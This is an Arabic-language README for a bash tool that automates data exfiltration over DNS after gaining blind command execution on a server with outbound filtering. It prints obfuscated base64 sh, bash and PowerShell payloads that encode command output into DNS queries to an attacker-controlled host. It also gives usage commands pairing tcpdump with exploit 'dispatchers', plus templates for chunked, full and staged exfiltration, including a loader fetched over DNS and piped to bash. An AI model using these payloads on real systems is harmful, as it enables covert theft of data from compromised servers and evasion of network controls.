
نص bash يقوم بأتمتة تسريب البيانات عبر DNS في حال كان لدينا تنفيذ أوامر أعمى على خادم مع تصفية الصادر
برنامج bash script يقوم بأتمتة استخراج البيانات عبر DNS في حال كانت لدينا قدرة على تنفيذ أوامر أعمى (blind command execution) على خادم حيث تكون جميع الاتصالات الصادرة محجوبة باستثناء DNS. يدعم البرنامج حاليًا sh و bash و PowerShell، وهو متوافق مع أسلوب تنفيذ الأوامر من نوع exec (مثل java.lang.Runtime.exec).
غير مقسمة:
مقسمة:
لعمله، يأخذ البرنامج كمدخل الأمر الذي نريد تشغيله على الخادم المستهدف ويحوله وفقًا للشل المستهدف ليتمكن من استخراج مخرجاته عبر DNS. بعد تحويل الأمر، يتم تغذيته إلى "الموزع" (dispatcher). الموزع هو برنامج يوفره المستخدم ويكون مسؤولاً عن أخذ أمر كمدخل وتنفيذه على الخادم المستهدف بأي وسيلة ضرورية (مثل استغلال ثغرة أمنية). بعد تنفيذ الأمر على الخادم المستهدف، من المتوقع أن يؤدي إلى إرسال طلبات DNS إلى خادم أسماء DNS الخاص بنا تحتوي على أجزاء من بياناتنا. يستمع البرنامج لهذه الطلبات حتى يتم استخراج مخرجات الأمر الذي قدمه المستخدم بالكامل.
فيما يلي تحويلات الأوامر المدعومة، المولدة لاستخراج الأمر: ls
sh:
sh -c $@|base64${IFS}-d|sh . echo IGRpZyBAMCArdHJpZXM9NSBgKGxzKXxiYXNlNjQgLXcwfHdjIC1jYC5sZW4xNjAzNTQxMTc4LndoYXRldi5lcgo=
bash:
bash -c {echo,IG5zbG9va3VwIGAobHMpfGJhc2U2NCAtdzB8d2MgLWNgLmxlbi4xNjAzMDMwNTYwLndoYXRldi5lcgo=}|{base64,-d}|bash
powershell:
powershell -enc UgBlAHMAbwBsAHYAZQAtAEQAbgBzAE4AYQBtAGUAIAAkACgAIgB7ADAAfQAuAHsAMQB9AC4AewAyAH0AIgAgAC0AZgAgACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAGwAcwApACkAKQAuAGwAZQBuAGcAdABoACkALAAiAGwAZQBuACIALAAiADEANgAwADMAMAAzADAANAA4ADgALgB3AGgAYQB0AGUAdgAuAGUAcgAiACkACgA=
./procroustes_chunked.sh -h whatev.er -d "dig @0 +tries=5" -x dispatcher_examples/local_bash.sh -- 'ls -lha|grep secret' < <(stdbuf -oL tcpdump --immediate -l -i any udp port 53)
stdbuf -oL tcpdump --immediate -l -i any udp port 53|./procroustes_chunked.sh -w ps -h whatev.er -d "Resolve-DnsName -Server wsl2_IP -Name" -x dispatcher_examples/local_powershell_wsl2.sh -- 'gci | % {$_.Name}'
./procroustes_chunked.sh -w ps -h yourdns.host -d "Resolve-DnsName" -x dispatcher_examples/curl_waf.sh -- 'gci | % {$_.Name}' < <(stdbuf -oL ssh user@HOST 'sudo tcpdump --immediate -l udp port 53')
./procroustes_chunked.sh --help
باختصار، بافتراض أننا نريد استخراج بعض البيانات التي يجب تقسيمها إلى أربعة أجزاء لتتمكن من نقلها عبر DNS:
يمكن توضيح بعض الاختلافات بينهما أيضًا من خلال الأوامر النموذجية المستخدمة لـ bash:
procroustes_chunked/bash:
%DNS_TRIGGER% `(%CMD%)|base64 -w0|cut -b$((%INDEX%+1))-$((%INDEX%+%COUNT%))'`.%UNIQUE_DNS_HOST%
procroustes_full/bash:
(%CMD%)|base64 -w0|echo $(cat)--|grep -Eo '.{1,%LABEL_SIZE%}'|xargs -n%NLABELS% echo|tr ' ' .|awk '{printf "%s.%s%s\n",$1,NR,"%UNIQUE_DNS_HOST%"}'|xargs -P%THREADS% -n1 %DNS_TRIGGER%
procroustes_full/bash/staged:
(seq %ITERATIONS%|%S_DNS_TRIGGGER% $(cat).%UNIQUE_DNS_HOST%|tr . \ |printf %02x $(cat)|xxd -r -p)|bash
[1] بالنسبة للإصدار المُهيأ، يتم تحميل الأمر عبر DNS، لذا فإن الحجم المدرج هو إجمالي حجم الحمولة أيضًا.
[2] في procroustes_chunked، يتم استدعاء الموزع عدة مرات وكذلك الأمر المقدم الذي من المفترض تنفيذه على الخادم (حتى يتم استخراج جميع مخرجاته). هذا السلوك ليس مثاليًا إذا كان تسليم الأوامر إلى الخادم (أي باستدعاء الموزع) يستغرق وقتًا أو موارد كثيرة.
قد يسبب أيضًا مشكلات إذا لم يكن الأمر الذي ننفذه على الخادم عديم الأثر (من حيث الوظيفة أو المخرجات، مثل "ls;rm file") أو كان مكلفًا في الوقت أو الموارد (مثل find / -name secret). الحل البديل لهذه الحالة هو تخزين مخرجات الأمر أولاً في ملف (مثل /tmp/file) ثم استخدام البرنامج لقراءة ذلك الملف.
[3] في الإصدار المُهيأ، لدينا عبء إضافي يتمثل في الوقت اللازم للحصول على الحمولة الفعلية عبر DNS. تجدر الإشارة إلى أن البرنامج يستخدم سجلات A للحصول على الحمولة الفعلية. على الرغم من أن هذا يسمح لحركة المرور الخاصة بنا بالاندماج بشكل أفضل مع حركة المرور العادية للبيئة المستهدفة، إلا أنه يوفر سعة قناة محدودة (مثل 4 بايت لكل طلب). يمكننا استخدام أنواع سجلات أخرى مثل TXT لتقليل وقت تحميل المرحلة (تقريبًا إلى الصفر) وحجم المُهيئ.
./procrustes_full.sh ... -o >(setsid gunzip) -- 'ls -lhR / | gzip'| procroustes_chunked | procroustes_full | procroustes_full_staged |
|---|
| حجم الحمولة الإضافي (bash/powershell) | 150*NLABELS/500*NLABELS (+CMD_LEN) | 300/800 (+CMD_LEN) | 150/400[1] |
| عدد استدعاءات الموزع | #output/(LABEL_SIZE*NLABELS)[2] | 1 | 1 |
| السرعة (bash/powershell) | ✔/✔ | ✔/✔ | ✓/✓[3] |
| صعوبة الإعداد | سهلة | سهلة+ | متوسطة |